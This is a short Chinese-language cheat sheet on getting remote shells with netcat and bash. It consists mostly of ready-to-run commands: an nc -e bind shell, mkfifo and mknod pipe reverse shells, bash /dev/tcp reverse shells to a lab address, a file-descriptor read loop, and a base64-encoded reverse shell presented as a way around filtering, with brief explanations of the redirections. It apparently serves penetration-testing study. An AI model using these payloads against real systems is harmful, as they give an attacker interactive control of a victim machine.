NC反向shell
1、查看shell类型
echo $SHELLchsh -s 需要修改shell的类型cat /etc/shells 查看存在哪些shell
然后反弹对应的shell(正向连接)
//被控制端
nc -lvvp 8989 -e /bin/bash
//控制端
nc 192.168.222.146(被控端ip) 8989
2、没有-e参数反弹shell
扩展了解标准文件描述符 0(输入) 、1(输出)、2(错误输出)的用法
Linux 文件描述符详解-腾讯云开发者社区-腾讯云
创建管道:
非root权限也可以
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.222.146 52010 > /tmp/f
root权限才可以
mknod backpipe p;nc 192.168.222.146 8978 0<backpipe | /bin/bash 1>backpipe 2> backpipe
Bash反弹shell
方法一:
被控端
bash -i >& /dev/tcp/192.168.222.146/34567 0>&1
bash -i > /dev/tcp/192.168.222.146/12345 0>&1 2>&1
&>与>&:都是将输出和报错输出到一个地方
0>&1:将标准输入作为标准输出给到远程地址,从而将输入的 权力给了192.168.222.146
2>&1:这里将错误作为输出,给到远程,这里就等于 >&
拓展:
/dev目录
/dev/tcp是Linux中的一个特殊设备,打开这个文件就相当发起了一个socket调用,建立一个socket连接
控制端
nc -lvvp 34567
方法二:
被控端
exec 5<>/dev/tcp/192.168.222.146/23456;cat <&5 | while read line; do $line 2>&5 >&5;done
控制端
nc -lvvp 23456
也可使用base64编码绕过:
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMi4xNDYvMzQ1NjcgMD4mMQ== | base64 -d| bash -i"
注意:这里监听端口尽量大一点(推荐大于10000),避免占用,方便连接到
github上有shell的集合,我在服务器上搭建了需要的可以使用Reverse Shell Generator
这是一个阉割版的,但感觉已经够用了。下面是完整改版PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings · GitHub